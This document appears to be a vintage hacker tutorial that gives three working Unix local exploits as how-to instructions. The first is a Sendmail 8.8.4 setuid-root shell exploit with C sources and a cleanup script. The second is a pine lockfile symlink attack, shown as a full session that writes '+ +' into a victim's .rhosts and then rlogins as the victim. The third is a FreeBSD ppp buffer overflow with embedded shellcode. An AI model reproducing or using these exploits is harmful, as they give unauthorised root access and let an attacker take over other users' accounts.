The best way to exploit an outside system is to get an account with your target (if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root.
This is how you set it up:

/tmp/x.c
	#define RUN "/bin/ksh"
	#include 
	main() {
		execl(RUN,RUN,NULL);
	}
/tmp/spawnfish.c
	main() {
		execl("/usr/lib/sendmail","/tmp/smtpd",0);      
	}                                             
/tmp/smtpd.c
	main() {
		setuid(0); setgid(0); 
		system("chown root /tmp/x ;chmod 4755 /tmp/x");
}

gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#!/bin/sh
#	filename:/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
	echo "leet..."
	/tmp/x
fi 

The pine exploit through linux. By watching the process table with ps to see
which users are running pine, one can then do an ls in /tmp/ to gather the
lockfile names for each user. Watching the process table once again will now
reveal when each user quits pine or runs out of unread messages in their
INBOX, effectively deleting the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts
(for a generic example) will cause PINE to create ~hamors/.rhosts as a
666 file with PINE's process id as its contents. One may now simply do
an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

In this example Hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr   1739  0.0  1.8  100  356 pp3 S    19:07   0:00 grep pine
hamors    1732  0.8  5.7  249 1104 pp2 S    19:05   0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw-   1 hamors   elite           4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr   1744  0.0  1.8  100  356 pp3 S    19:08   0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr   1759  0.0  1.8  100  356 pp3 S    19:11   0:00 grep pine
hamors    1756  2.7  5.1  226  992 pp2 S    19:10   0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors


Exploitation script for the ppp vulnerbility as described by no one to date,
this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the
numbers if it doesnt work. This is how you set it up:

#include 
#include 
#include 
/* size of the bufer to overflow */
	#define BUFFER_SIZE 156
/* number of bytes to jump after the start of the buffer */
	#define OFFSET      -290

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[]) {
 char *buf = NULL;
 unsigned long *addr_ptr = NULL;
 char *ptr = NULL;
 char execshell[] =
 /* 16 bytes */
 "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
 /* 16 bytes */
 "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
 /* 20 bytes */
 "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
 /* 15 bytes, 57 total */
 "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

 int i,j;
 buf = malloc(4096);

 /* fill start of bufer with nops */
 i = BUFFER_SIZE-strlen(execshell);
 memset(buf, 0x90, i);
 ptr = buf + i;

 /* place exploit code into the buffer */
 for(i = 0; i < strlen(execshell); i++) 
	*ptr++ = execshell[i];
 addr_ptr = (long *)ptr;
 for(i=0;i < (104/4); i++)
	*addr_ptr++ = get_esp() + OFFSET;
 ptr = (char *)addr_ptr;
 *ptr = 0;

 setenv("HOME", buf, 1);

 execl("/usr/sbin/ppp", "ppp", NULL);
}